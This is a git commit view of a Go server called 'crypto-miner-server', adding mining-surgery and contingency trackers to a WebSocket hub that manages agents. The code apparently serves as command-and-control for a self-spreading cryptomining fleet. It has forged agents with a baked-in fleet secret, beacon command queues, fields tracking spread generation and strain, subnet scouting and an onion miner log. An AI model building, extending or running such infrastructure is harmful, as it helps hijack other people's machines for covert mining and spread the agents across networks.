Add Strain Hospice for graceful low-win strain retirement.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.
This commit is contained in:
AetherForge
2026-06-07 09:26:39 -07:00
parent 894b7a50ae
commit d605ef4adb
18 changed files with 701 additions and 18 deletions

View File

@@ -18,6 +18,8 @@ import (
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/epidemiology"
"crypto-miner-server/internal/mining"
"crypto-miner-server/internal/miningsurgery"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/strategy"
@@ -175,6 +177,8 @@ type WSHub struct {
subnetAutopsies map[string]atlas.SubnetAutopsyPacket
subnetGossipWhispers map[string][]atlas.GossipHint
epidemiology *epidemiology.Tracker
miningSurgery *miningsurgery.Tracker
contingencyOrch *mining.ContingencyOrchestrator
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
@@ -227,6 +231,7 @@ func NewWSHub(database *db.Database) *WSHub {
agentSubnet: make(map[string]string),
breedingRegistry: strategy.NewBreedingRegistry(),
epidemiology: epidemiology.NewTracker(),
miningSurgery: miningsurgery.NewTracker(),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
@@ -234,6 +239,9 @@ func NewWSHub(database *db.Database) *WSHub {
pingIntervalSec: 30,
}
h.clearance = NewClearanceManager(h)
if database != nil {
h.refreshHospiceBreedingCache()
}
// Background stale-agent sweep:
// 3 minutes old but the row still says "online", force it offline.
@@ -1034,6 +1042,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
h.attachEpidemiologyFix(resp, agentID)
h.attachMiningSelfSurgery(resp, agentID)
h.attachContingencyPolicy(resp)
return resp
}())})
@@ -1166,6 +1176,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
ContingencyDepth int `json:"contingency_depth,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeedPressure float64 `json:"seed_pressure,omitempty"`
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
@@ -1338,6 +1349,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.SpreadStrain != "" {
broadcast["spread_strain"] = stats.SpreadStrain
}
if stats.ContingencyDepth > 0 {
broadcast["contingency_depth"] = stats.ContingencyDepth
}
if stats.FleetRole != "" {
broadcast["fleet_role"] = stats.FleetRole
}
@@ -1418,6 +1432,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
})
}
h.observeEpidemiologyFromStats(agentID, epiStats)
h.observeMiningSelfSurgeryFromStats(agentID, epiStats)
h.queueStatsBroadcast(broadcast)
case "scout_report":
@@ -1649,6 +1664,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestStrategyFromPayload(agentID, payload)
h.queueStatsBroadcast(payload)
case "self_surgery_report":
if agentID == "" {
continue
}
h.handleSelfSurgeryReport(agentID, msg.Payload)
case "onion_miner_log":
if agentID == "" {
continue
}
h.handleOnionMinerLog(agentID, msg.Payload)
case "atlas_gossip":
if agentID == "" {
continue